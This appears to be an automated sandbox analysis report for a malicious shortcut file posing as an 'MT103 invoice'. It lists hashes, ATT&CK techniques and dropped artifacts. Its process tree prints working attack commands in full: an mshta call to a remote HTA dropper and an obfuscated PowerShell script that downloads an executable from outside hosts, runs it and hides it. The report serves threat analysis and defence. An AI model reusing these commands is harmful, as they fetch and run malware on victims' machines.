b49d777b48ec591859c9374a2a707b179cb3770b54d9dc03b5c7f3ae2f06b360

General

Target

04451999.lnk
Size

2KB
MD5

594a86d0fa8711e48066b1852ad13ac6
SHA1

35b840640e6a3c53a6ba0c6efa1a19a061f5c104
SHA256

b49d777b48ec591859c9374a2a707b179cb3770b54d9dc03b5c7f3ae2f06b360
SHA512

bc67e03c2a577c936c376b27cb141cb2f1e041a32dc4ebfa14c575289b3a15e5b27faec9e25f12caf9f00ada13b934c9adf348a2fef4d7202119f13880bf23ab

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

https://cdn.discordapp.com/attachments/952087079892975626/1108466607375786045/INVOICE_MT103.hta

Signatures

Blocklisted process makes network request 8 IoCs

flow	pid	Process
10	4964	mshta.exe
12	4964	mshta.exe
20	4828	powershell.exe
22	4828	powershell.exe
29	4828	powershell.exe
47	4828	powershell.exe
56	4828	powershell.exe
61	4828	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2275444769-3691835758-4097679484-1000\Control Panel\International\Geo\Nation	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4904	powershell.exe
4904	powershell.exe
4828	powershell.exe
4828	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	4904	powershell.exe
Token: SeDebugPrivilege	4828	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3740 wrote to memory of 4904	3740	cmd.exe	84
PID 3740 wrote to memory of 4904	3740	cmd.exe	84
PID 4904 wrote to memory of 4964	4904	powershell.exe	85
PID 4904 wrote to memory of 4964	4904	powershell.exe	85
PID 4964 wrote to memory of 4828	4964	mshta.exe	86
PID 4964 wrote to memory of 4828	4964	mshta.exe	86

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\04451999.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3740
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" . $env:C:\W*\S*2\m*h?a.* 'https://cdn.discordapp.com/attachments/952087079892975626/1108466607375786045/INVOICE_MT103.hta'
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4904
- - C:\Windows\System32\mshta.exe
    "C:\Windows\System32\mshta.exe" https://cdn.discordapp.com/attachments/952087079892975626/1108466607375786045/INVOICE_MT103.hta
    3⤵
    - Blocklisted process makes network request
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:4964
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function irOWQZlui($rqOUiWzHkhWgD, $IKzJrq){[IO.File]::WriteAllBytes($rqOUiWzHkhWgD, $IKzJrq)};function xdWIlfTRkgY($rqOUiWzHkhWgD){if($rqOUiWzHkhWgD.EndsWith((zkgDPisVlAuJ @(50441,50495,50503,50503))) -eq $True){rundll32.exe $rqOUiWzHkhWgD }elseif($rqOUiWzHkhWgD.EndsWith((zkgDPisVlAuJ @(50441,50507,50510,50444))) -eq $True){powershell.exe -ExecutionPolicy unrestricted -File $rqOUiWzHkhWgD}elseif($rqOUiWzHkhWgD.EndsWith((zkgDPisVlAuJ @(50441,50504,50510,50500))) -eq $True){misexec /qn /i $rqOUiWzHkhWgD}else{Start-Process $rqOUiWzHkhWgD}};function VzLgxMRdbYx($irOWQZlui){$rcMhAFWjwcVMl=(zkgDPisVlAuJ @(50467,50500,50495,50495,50496,50505));$bLZpBzueoWZVu=(Get-ChildItem $irOWQZlui -Force);$bLZpBzueoWZVu.Attributes=$bLZpBzueoWZVu.Attributes -bor ([IO.FileAttributes]$rcMhAFWjwcVMl).value__};function xzbtejDWHhuwEVh($coPEObLhmzAsc){$HnFqDTYJKloihJQRpjyu = New-Object (zkgDPisVlAuJ @(50473,50496,50511,50441,50482,50496,50493,50462,50503,50500,50496,50505,50511));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$IKzJrq = $HnFqDTYJKloihJQRpjyu.DownloadData($coPEObLhmzAsc);return $IKzJrq};function zkgDPisVlAuJ($APgWvfimRpue){$qbPUbEtlxYS=50395;$DbWhSuQwPCybrH=$Null;foreach($jvXllrVrJ in $APgWvfimRpue){$DbWhSuQwPCybrH+=[char]($jvXllrVrJ-$qbPUbEtlxYS)};return $DbWhSuQwPCybrH};function sFtwplqMxbxc(){$vZyPrAsecrzXNsI = $env:AppData + '\';$iEmveRpUzkdVCOej = $vZyPrAsecrzXNsI + 'MT103-Payment.jpg';If(Test-Path -Path $iEmveRpUzkdVCOej){Invoke-Item $iEmveRpUzkdVCOej;}Else{ $vzQdvXrtZgFnqAd = xzbtejDWHhuwEVh (zkgDPisVlAuJ @(50499,50511,50511,50507,50510,50453,50442,50442,50500,50441,50500,50493,50493,50441,50494,50506,50442,50471,50509,50483,50483,50466,50443,50499,50442,50472,50479,50444,50443,50446,50440,50475,50492,50516,50504,50496,50505,50511,50441,50501,50507,50498));irOWQZlui $iEmveRpUzkdVCOej $vzQdvXrtZgFnqAd;Invoke-Item $iEmveRpUzkdVCOej;};$VUgYBSSrM = $vZyPrAsecrzXNsI + 'Invoice_MT103_Payment.exe'; if (Test-Path -Path $VUgYBSSrM){xdWIlfTRkgY $VUgYBSSrM;}Else{ $MiFlwEirnefQv = xzbtejDWHhuwEVh (zkgDPisVlAuJ @(50499,50511,50511,50507,50510,50453,50442,50442,50494,50495,50505,50441,50495,50500,50510,50494,50506,50509,50495,50492,50507,50507,50441,50494,50506,50504,50442,50492,50511,50511,50492,50494,50499,50504,50496,50505,50511,50510,50442,50452,50448,50445,50443,50451,50450,50443,50450,50452,50451,50452,50445,50452,50450,50448,50449,50445,50449,50442,50444,50444,50443,50451,50447,50447,50450,50448,50447,50447,50452,50448,50444,50452,50450,50444,50451,50451,50443,50442,50468,50505,50513,50506,50500,50494,50496,50490,50472,50479,50444,50443,50446,50490,50475,50492,50516,50504,50496,50505,50511,50441,50496,50515,50496));irOWQZlui $VUgYBSSrM $MiFlwEirnefQv;xdWIlfTRkgY $VUgYBSSrM;};VzLgxMRdbYx $VUgYBSSrM;;;;;}sFtwplqMxbxc;" uac
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4828

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
5caad758326454b5788ec35315c4c304

SHA1
3aef8dba8042662a7fcf97e51047dc636b4d4724

SHA256
83e613b6dc8d70e3bb67c58535e014f58f3e8b2921e93b55137d799fc8c56391

SHA512
4e0d443cf81e2f49829b0a458a08294bf1bdc0e38d3a938fb8274eeb637d9a688b14c7999dd6b86a31fcec839a9e8c1a9611ed0bbae8bd59caa9dba1e8253693

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_5dl3pu5b.3cy.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4828-153-0x000002002D250000-0x000002002D260000-memory.dmp

Filesize
64KB

Download
memory/4828-154-0x000002002D250000-0x000002002D260000-memory.dmp

Filesize
64KB

Download
memory/4828-166-0x000002002D250000-0x000002002D260000-memory.dmp

Filesize
64KB

Download
memory/4828-168-0x000002002D250000-0x000002002D260000-memory.dmp

Filesize
64KB

Download
memory/4828-169-0x000002002D250000-0x000002002D260000-memory.dmp

Filesize
64KB

Download
memory/4828-170-0x000002002D250000-0x000002002D260000-memory.dmp

Filesize
64KB

Download
memory/4904-137-0x000001B924D40000-0x000001B924D62000-memory.dmp

Filesize
136KB

Download

Analysis

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